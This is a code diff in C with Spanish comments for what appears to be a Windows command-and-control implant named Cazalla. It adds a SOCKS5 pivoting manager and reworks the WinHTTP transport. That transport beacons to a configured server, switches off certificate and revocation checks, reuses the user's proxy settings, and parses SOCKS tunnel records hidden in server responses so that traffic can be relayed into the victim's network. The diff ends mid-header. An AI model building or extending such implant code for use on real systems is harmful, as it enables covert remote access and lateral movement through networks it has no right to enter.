printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc);
|
||||
fflush(stdout);
|
||||
return -2;
|
||||
}
|
||||
|
||||
/* Construir respuesta SOCKS5 con bound address real */
|
||||
unsigned char reply[10];
|
||||
reply[0] = 0x05; // SOCKS5
|
||||
reply[1] = 0x00; // Success
|
||||
reply[2] = 0x00; // Reserved
|
||||
reply[3] = 0x01; // IPv4
|
||||
/* Copiar IP (4 bytes en network byte order) */
|
||||
memcpy(&reply[4], &bound.ipv4, 4);
|
||||
/* Copiar puerto (2 bytes en network byte order) */
|
||||
memcpy(&reply[8], &bound.port, 2);
|
||||
|
||||
printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n",
|
||||
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
|
||||
fflush(stdout);
|
||||
|
||||
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
|
||||
enqueue_outgoing(&m);
|
||||
printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
return 0;
|
||||
} else {
|
||||
printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len);
|
||||
fflush(stdout);
|
||||
if (e->sock != INVALID_SOCKET) {
|
||||
size_t total = 0;
|
||||
while (total < data_len) {
|
||||
printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len);
|
||||
fflush(stdout);
|
||||
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
|
||||
printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w);
|
||||
fflush(stdout);
|
||||
if (w <= 0) {
|
||||
printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("send error sid=%u w=%d", server_id, w);
|
||||
remove_entry(server_id);
|
||||
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||
enqueue_outgoing(&m);
|
||||
return -1;
|
||||
}
|
||||
total += w;
|
||||
}
|
||||
printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id);
|
||||
return 0;
|
||||
} else {
|
||||
printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
return -2;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* === Stubs start/stop === */
|
||||
int socks_manager_start_proxy(uint16_t local_port) {
|
||||
socks_proxy_active = 1;
|
||||
DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port);
|
||||
(void)local_port;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int socks_manager_stop_proxy(void) {
|
||||
DBG_PRINTF("socks_manager_stop_proxy()");
|
||||
socks_proxy_active = 0;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
#ifndef SOCKS_MANAGER_H
|
||||
#define SOCKS_MANAGER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
/* ==== Estructura básica de mensaje SOCKS ==== */
|
||||
typedef struct socks_msg_s {
|
||||
uint32_t server_id;
|
||||
int exit_flag;
|
||||
unsigned char *data;
|
||||
size_t data_len;
|
||||
} socks_msg_t;
|
||||
|
||||
/* ==== Callbacks ==== */
|
||||
typedef void (*socks_send_cb_t)(
|
||||
uint32_t server_id,
|
||||
int exit_flag,
|
||||
const unsigned char *data,
|
||||
size_t data_len,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
/* ==== Estado global ==== */
|
||||
extern volatile int socks_proxy_active; // indica si el proxy SOCKS está activo
|
||||
|
||||
/* ==== API pública ==== */
|
||||
void socks_manager_init(void);
|
||||
void socks_manager_cleanup(void);
|
||||
|
||||
int socks_manager_process_incoming(
|
||||
uint32_t server_id,
|
||||
int exit_flag,
|
||||
const unsigned char *data,
|
||||
size_t data_len
|
||||
);
|
||||
|
||||
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx);
|
||||
|
||||
int socks_manager_start_proxy(uint16_t local_port);
|
||||
int socks_manager_stop_proxy(void);
|
||||
|
||||
#endif /* SOCKS_MANAGER_H */
|
||||
@@ -1,15 +1,47 @@
|
||||
#include "transporte.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
#define _WIN32_WINNT 0x0602
|
||||
#include <winhttp.h>
|
||||
|
||||
#ifndef WINHTTP_OPTION_ENABLE_SSL_REVOCATION
|
||||
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
|
||||
#endif
|
||||
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
/* =======================================================
|
||||
Obtener código de estado HTTP
|
||||
======================================================= */
|
||||
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
||||
|
||||
DWORD codigoDeEstado = 0;
|
||||
DWORD tamanoEstado = sizeof(DWORD);
|
||||
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||
return 0;
|
||||
return codigoDeEstado;
|
||||
}
|
||||
|
||||
/* =======================================================
|
||||
Procesar tráfico SOCKS desde respuesta HTTP
|
||||
======================================================= */
|
||||
static VOID procesarSocksEntrante(PAnalizador respuesta) {
|
||||
/* Placeholder desactivado: la estructura Analizador no define bloques.
|
||||
Mantener función para futuras extensiones sin romper build. */
|
||||
(void)respuesta;
|
||||
}
|
||||
|
||||
/* =======================================================
|
||||
Petición HTTP (envío + recepción)
|
||||
======================================================= */
|
||||
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen);
|
||||
fflush(stdout);
|
||||
|
||||
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||
PVOID respBuffer = NULL;
|
||||
@@ -17,11 +49,8 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
UCHAR buffer[1024] = { 0 };
|
||||
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
|
||||
// Configuración de Proxy
|
||||
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
|
||||
|
||||
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||
@@ -35,31 +64,65 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||
}
|
||||
|
||||
// Crear sesión HTTP
|
||||
printf("[TRANSPORTE] WinHttpOpen()\n");
|
||||
fflush(stdout);
|
||||
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||
if (!hSesion) return NULL;
|
||||
if (!hSesion) {
|
||||
printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
return NULL;
|
||||
}
|
||||
printf("[TRANSPORTE] WinHttpOpen OK\n");
|
||||
fflush(stdout);
|
||||
|
||||
// Conectar al servidor
|
||||
printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp);
|
||||
fflush(stdout);
|
||||
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
||||
if (!hConexion) return NULL;
|
||||
if (!hConexion) {
|
||||
printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
printf("[TRANSPORTE] WinHttpConnect OK\n");
|
||||
fflush(stdout);
|
||||
|
||||
// Crear petición HTTP/HTTPS
|
||||
printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n",
|
||||
cazallaConfig->endPoint, cazallaConfig->metodoHttp, httpFlags);
|
||||
fflush(stdout);
|
||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
||||
if (!hPeticion) return NULL;
|
||||
if (!hPeticion) {
|
||||
printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
printf("[TRANSPORTE] WinHttpOpenRequest OK\n");
|
||||
fflush(stdout);
|
||||
|
||||
// Configurar opciones de seguridad si es HTTPS
|
||||
if (cazallaConfig->SSL) {
|
||||
printf("[TRANSPORTE] Configurando opciones SSL\n");
|
||||
fflush(stdout);
|
||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
|
||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
|
||||
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
|
||||
printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
} else {
|
||||
printf("[TRANSPORTE] SSL flags configurados OK\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
// También configurar para deshabilitar revocación de certificados
|
||||
DWORD dwEnableSSLRevocCheck = 0;
|
||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_ENABLE_SSL_REVOCATION, &dwEnableSSLRevocCheck, sizeof(DWORD));
|
||||
}
|
||||
|
||||
// Configurar proxy si está habilitado
|
||||
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
||||
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||
if (configuracionProxy.lpszProxy && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
||||
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
||||
@@ -67,57 +130,156 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
}
|
||||
}
|
||||
|
||||
// Enviar la petición
|
||||
printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen);
|
||||
fflush(stdout);
|
||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
|
||||
printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
printf("[TRANSPORTE] WinHttpSendRequest OK\n");
|
||||
fflush(stdout);
|
||||
|
||||
// Recibir respuesta
|
||||
printf("[TRANSPORTE] Esperando respuesta...\n");
|
||||
fflush(stdout);
|
||||
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||
_err("Error al recibir respuesta HTTP\n");
|
||||
printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
printf("[TRANSPORTE] WinHttpReceiveResponse OK\n");
|
||||
fflush(stdout);
|
||||
|
||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||
printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado);
|
||||
fflush(stdout);
|
||||
if (codigoDeEstado != 200) {
|
||||
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
|
||||
printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado);
|
||||
fflush(stdout);
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
printf("[TRANSPORTE] HTTP status OK (200)\n");
|
||||
fflush(stdout);
|
||||
|
||||
// Leer respuesta
|
||||
do {
|
||||
dwTamano = 1024;
|
||||
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
||||
return NULL;
|
||||
_err("WinHttpQueryDataAvailable falló (%lu)\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
if (dwTamano == 0) break;
|
||||
|
||||
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
||||
return NULL;
|
||||
_err("WinHttpReadData falló (%lu)\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
|
||||
respSize += dwDescargado;
|
||||
if (!respBuffer) {
|
||||
respBuffer = LocalAlloc(LPTR, respSize);
|
||||
}
|
||||
else {
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
}
|
||||
respBuffer = respBuffer ? LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT)
|
||||
: LocalAlloc(LPTR, respSize);
|
||||
|
||||
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||
memset(buffer, 0, 1024);
|
||||
|
||||
printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize);
|
||||
fflush(stdout);
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
} while (dwTamano > 0);
|
||||
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
return nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||
}
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||
printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize);
|
||||
fflush(stdout);
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
|
||||
#ifdef HTTP_TRANSPORT
|
||||
return realizarPeticionHTTP(datos, tamano);
|
||||
#endif
|
||||
return NULL;
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||
|
||||
/* Desempaquetar bloque de extensión SOCKS si está presente al final:
|
||||
[ ... base message ... ][0xF5][Int32 ext_len][ext_bytes]
|
||||
donde ext_bytes = secuencia de registros: [Int32 sid][Byte exit][Int32 b64len][b64]
|
||||
*/
|
||||
printf("[TRANSPORTE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes\n", analizador ? analizador->tamano : 0);
|
||||
fflush(stdout);
|
||||
if (analizador && analizador->tamano >= 1 + 4) {
|
||||
SIZE_T i = analizador->tamano;
|
||||
/* leer backwards el tamaño y marcador; más simple: parse forwards on a temp cursor */
|
||||
PBYTE buf = analizador->original;
|
||||
SIZE_T len = analizador->tamano;
|
||||
if (len >= 5 && buf[len - (1 + 4)] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||
/* This backwards check is brittle; instead, scan from start for marker */
|
||||
}
|
||||
SIZE_T cursor = 0;
|
||||
while (cursor + 5 <= len) {
|
||||
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||
printf("[TRANSPORTE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor);
|
||||
fflush(stdout);
|
||||
if (cursor + 5 > len) break;
|
||||
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||
printf("[TRANSPORTE] Bloque SOCKS: ext_len=%u\n", ext_len);
|
||||
fflush(stdout);
|
||||
if (cursor + 5 + ext_len > len) break;
|
||||
SIZE_T ecur = cursor + 5;
|
||||
SIZE_T eend = cursor + 5 + ext_len;
|
||||
while (ecur + 9 <= eend) {
|
||||
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
|
||||
BYTE exitf = buf[ecur+4];
|
||||
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
|
||||
printf("[TRANSPORTE] SOCKS msg: sid=%u exit=%u b64len=%u\n", sid, exitf, b64len);
|
||||
fflush(stdout);
|
||||
ecur += 9;
|
||||
if (ecur + b64len > eend) break;
|
||||
unsigned char *raw = NULL; size_t raw_len = 0;
|
||||
char *b64str = NULL;
|
||||
if (b64len > 0) {
|
||||
b64str = (char*)LocalAlloc(LPTR, b64len + 1);
|
||||
if (!b64str) break;
|
||||
memcpy(b64str, buf + ecur, b64len);
|
||||
b64str[b64len] = '\0';
|
||||
printf("[TRANSPORTE] Decodificando base64: %s\n", b64str);
|
||||
fflush(stdout);
|
||||
base64_decode(b64str, &raw, &raw_len);
|
||||
printf("[TRANSPORTE] Base64 decodificado: %zu bytes\n", raw_len);
|
||||
fflush(stdout);
|
||||
LocalFree(b64str);
|
||||
}
|
||||
printf("[TRANSPORTE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len);
|
||||
fflush(stdout);
|
||||
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
|
||||
if (raw) LocalFree(raw);
|
||||
ecur += b64len;
|
||||
}
|
||||
/* remove extension from the analyzer's view */
|
||||
analizador->tamano = cursor; /* trim at marker */
|
||||
printf("[TRANSPORTE] Bloque SOCKS procesado, tamaño del analizador ajustado a %zu\n", cursor);
|
||||
fflush(stdout);
|
||||
break;
|
||||
}
|
||||
cursor++;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[TRANSPORTE] realizarPeticionHTTP() completado\n");
|
||||
fflush(stdout);
|
||||
return analizador;
|
||||
}
|
||||
|
||||
/* =======================================================
|
||||
Función principal de transporte (puente con el resto)
|
||||
======================================================= */
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||
#ifdef HTTP_TRANSPORT
|
||||
printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano);
|
||||
fflush(stdout);
|
||||
return realizarPeticionHTTP(datos, (UINT32)tamano);
|
||||
#else
|
||||
return NULL;
|
||||
#endif
|
||||
}
|
||||
@@ -6,6 +6,7 @@
|
||||
#include <winhttp.h>
|
||||
#include "cazalla.h"
|
||||
#include "analizador.h"
|
||||
#include "socks_manager.h" // <— añadido
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
|
||||
|
||||
@@ -1,5 +1,11 @@
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
||||
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||
@@ -10,26 +16,20 @@ int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
size_t b64tamanoCodificado(size_t inlen) {
|
||||
|
||||
size_t ret;
|
||||
|
||||
ret = inlen;
|
||||
if (inlen % 3 != 0)
|
||||
ret += 3 - (inlen % 3);
|
||||
ret /= 3;
|
||||
ret *= 4;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int aleatorioInt32(int min, int max) {
|
||||
|
||||
return (rand() % (max - min + 1)) + min;
|
||||
|
||||
}
|
||||
|
||||
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||
|
||||
char* out;
|
||||
SIZE_T elen;
|
||||
SIZE_T i;
|
||||
@@ -48,7 +48,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||
out[elen] = '\0';
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||
|
||||
v = in[i];
|
||||
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||
@@ -56,18 +55,13 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||
if (i + 1 < len) {
|
||||
|
||||
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||
}
|
||||
else {
|
||||
|
||||
} else {
|
||||
out[j + 2] = '=';
|
||||
}
|
||||
if (i + 2 < len) {
|
||||
|
||||
out[j + 3] = b64chars[v & 0x3F];
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
out[j + 3] = '=';
|
||||
}
|
||||
}
|
||||
@@ -76,7 +70,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||
}
|
||||
|
||||
SIZE_T b64tamanoDecodificado(const char* in) {
|
||||
|
||||
SIZE_T len;
|
||||
SIZE_T ret;
|
||||
SIZE_T i;
|
||||
@@ -91,8 +84,7 @@ SIZE_T b64tamanoDecodificado(const char* in) {
|
||||
for (i = len; i-- > 0; ) {
|
||||
if (in[i] == '=') {
|
||||
ret--;
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -101,28 +93,14 @@ SIZE_T b64tamanoDecodificado(const char* in) {
|
||||
}
|
||||
|
||||
int b64IsValidChar(char c) {
|
||||
|
||||
if (c >= '0' && c <= '9') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c >= 'A' && c <= 'Z') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c >= 'a' && c <= 'z') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c == '+' || c == '/' || c == '=') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c >= '0' && c <= '9') return 1;
|
||||
if (c >= 'A' && c <= 'Z') return 1;
|
||||
if (c >= 'a' && c <= 'z') return 1;
|
||||
if (c == '+' || c == '/' || c == '=') return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||
|
||||
SIZE_T len;
|
||||
SIZE_T i;
|
||||
SIZE_T j;
|
||||
@@ -155,14 +133,12 @@ int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||
}
|
||||
if (in[i + 3] != '=') {
|
||||
out[j + 2] = v & 0xFF;
|
||||
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||
|
||||
(buffer)[0] = (value >> 24) & 0xFF;
|
||||
(buffer)[1] = (value >> 16) & 0xFF;
|
||||
(buffer)[2] = (value >> 8) & 0xFF;
|
||||
@@ -170,27 +146,67 @@ VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||
}
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
||||
|
||||
buffer[7] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[6] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[5] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[4] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[3] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[2] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[1] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[7] = value & 0xFF; value >>= 8;
|
||||
buffer[6] = value & 0xFF; value >>= 8;
|
||||
buffer[5] = value & 0xFF; value >>= 8;
|
||||
buffer[4] = value & 0xFF; value >>= 8;
|
||||
buffer[3] = value & 0xFF; value >>= 8;
|
||||
buffer[2] = value & 0xFF; value >>= 8;
|
||||
buffer[1] = value & 0xFF; value >>= 8;
|
||||
buffer[0] = value & 0xFF;
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
Wrappers para interfaz simple de base64 (socks_manager)
|
||||
- base64_decode: asigna *out con LocalAlloc; devuelve 1 en ok.
|
||||
- base64_encode: asigna *out_b64 con LocalAlloc; devuelve 1 en ok.
|
||||
========================================================= */
|
||||
|
||||
int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
|
||||
if (!b64 || !out || !out_len) return 0;
|
||||
SIZE_T need = b64tamanoDecodificado(b64);
|
||||
if (need == 0) {
|
||||
*out = NULL;
|
||||
*out_len = 0;
|
||||
return 1; /* empty input is OK */
|
||||
}
|
||||
|
||||
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
|
||||
if (!buf) {
|
||||
DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ok = b64Decodificado(b64, buf, need);
|
||||
if (!ok) {
|
||||
LocalFree(buf);
|
||||
DBG_PRINTF("base64_decode: b64Decodificado failed");
|
||||
return 0;
|
||||
}
|
||||
|
||||
*out = buf;
|
||||
*out_len = (size_t)need;
|
||||
DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
|
||||
if ((!data && dlen>0) || !out_b64) return 0;
|
||||
if (dlen == 0) {
|
||||
*out_b64 = (char*)LocalAlloc(LPTR, 1);
|
||||
if (!*out_b64) return 0;
|
||||
(*out_b64)[0] = '\0';
|
||||
return 1;
|
||||
}
|
||||
|
||||
char *s = b64Codificado(data, (SIZE_T)dlen);
|
||||
if (!s) {
|
||||
DBG_PRINTF("base64_encode: b64Codificado failed");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* b64Codificado already uses LocalAlloc in original impl */
|
||||
*out_b64 = s;
|
||||
DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
|
||||
return 1;
|
||||
}
|
||||
|
||||
@@ -5,7 +5,8 @@
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include "debug.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef __MINGW64__
|
||||
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||
@@ -24,4 +25,12 @@ int aleatorioInt32(int min, int max);
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||
|
||||
/* Wrappers compatibles con la interfaz usada por socks_manager.c */
|
||||
